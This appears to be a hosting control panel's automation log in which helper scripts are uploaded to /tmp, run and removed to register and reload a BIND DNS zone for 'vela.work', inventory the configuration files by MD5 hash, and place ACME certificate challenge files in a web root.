MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-14 11:58:35: 

PUT: /tmp/pkp108439

#!/usr/bin/python3
import os, grp, subprocess, time
from pwd import getpwnam

#target cache files
HASH = '9102cebf40552256181ade1b5794bce9'
ZONE_NAME = 'vela.work'
TARGET_FILES = '/var/cache/bind'
LOCAL_FILE = '/etc/bind/named.conf.local'

uid = getpwnam('bind').pw_uid
gid = grp.getgrnam('bind')[2]
try:
	os.chown(TARGET_FILES + '/' + HASH + '.conf', uid, gid)
	os.chown(TARGET_FILES + '/' + HASH + '.txt', uid, gid)
except Exception as ex:
	pass

PAYLOAD = 'include "' + HASH + '.conf"; # ' + ZONE_NAME
#text to insert into local
hash_present = False
with open(LOCAL_FILE) as fp:  
	line = fp.readline()
	while line:
		if HASH in line:
			hash_present = True
			break
		line = fp.readline()

fp.close()

if not hash_present:
	fp = open(LOCAL_FILE, 'a')
	fp.write(PAYLOAD + "\n")
	fp.close()
	# call = old python, 'run' python 3.5+
	subprocess.call(['rndc', 'reconfig'])
else:
	subprocess.call(['rndc', 'freeze', ZONE_NAME ])
	subprocess.call(['rndc', 'reload', ZONE_NAME ])
	subprocess.call(['rndc', 'thaw', ZONE_NAME ])
	time.sleep(3)


2026-03-14 11:58:35: 

chmod 755 /tmp/pkp108439; /tmp/pkp108439; rm /tmp/pkp108439

2026-03-14 11:58:38: 


rndc: 'freeze' failed: not dynamic
zone reload queued




STDERR:
rndc: 'freeze' failed: not dynamic


2026-03-14 11:58:38: 

PUT: /tmp/pkp614925

#!/bin/bash
rndc reload vela.work 2>&1


2026-03-14 11:58:38: 

chmod 755 /tmp/pkp614925; /tmp/pkp614925; rm /tmp/pkp614925

2026-03-14 11:58:38: 


zone reload up-to-date


2026-03-14 11:58:38: Establishing a connection
2026-03-14 11:58:38: 

PUT: /tmp/pkp400305

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-03-14 11:58:38: 

runuser -l bind -s /bin/bash -c '/tmp/pkp400305; rm /tmp/pkp400305'

2026-03-14 11:58:38: 
2026-03-14 11:58:38: 

PUT: /tmp/pkp802458

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-14 11:58:38: 

chmod 755 /tmp/pkp802458; /tmp/pkp802458; rm /tmp/pkp802458

2026-03-14 11:58:38: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt	551
; this is an automatically created file: manual changes will be overwritten.
$TTL    3600
vela.work.               		 IN    SOA      	vela.work. hostmaster.vela.work. ( 134697902 14400 3600 14400 3600 )
vela.work.               		 IN    NS       	ns1.hostz.org.
vela.work.               		 IN    NS       	ns2.hostz.org.
@                         60	 IN    A        	94.177.9.99
@                        		 IN    MX       	10 mail.emessage.email.
*                        		 IN    A        	94.177.9.99
www.vela.work.            60	 IN    CNAME    	@






MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 5c27bd546fb502ce3d4635f83c2fb039
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-03-14 11:59:01: Establishing a connection
2026-03-14 11:59:01: Establishing a connection
2026-03-14 11:59:01: 

PUT: /tmp/pkp211606

#!/bin/bash
if [ -d "/var/www/vela_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-14 11:59:02: 

chmod 755 /tmp/pkp211606; /tmp/pkp211606; rm /tmp/pkp211606

2026-03-14 11:59:02: 


1


2026-03-14 11:59:03: Establishing a connection
2026-03-14 11:59:03: 

PUT: /tmp/pkp857644

#!/bin/bash
mkdir -p "/var/www/vela_www/.well-known/acme-challenge/"
cd "/var/www/vela_www/.well-known/acme-challenge/"
cat > FyB_QNEyKVcPB3m_6rvtTKevICfeoLuiKiwC7zQ1er8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
FyB_QNEyKVcPB3m_6rvtTKevICfeoLuiKiwC7zQ1er8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 FyB_QNEyKVcPB3m_6rvtTKevICfeoLuiKiwC7zQ1er8
cat > c4-R4_iy-Ii0YPO3xHBwW5cV7ULW7YYugQlj5AT3iCk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
c4-R4_iy-Ii0YPO3xHBwW5cV7ULW7YYugQlj5AT3iCk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 c4-R4_iy-Ii0YPO3xHBwW5cV7ULW7YYugQlj5AT3iCk


2026-03-14 11:59:03: 

chmod 755 /tmp/pkp857644; /tmp/pkp857644; rm /tmp/pkp857644

2026-03-14 11:59:03: 




2026-03-14 12:00:53: Establishing a connection
2026-03-14 12:00:54: 

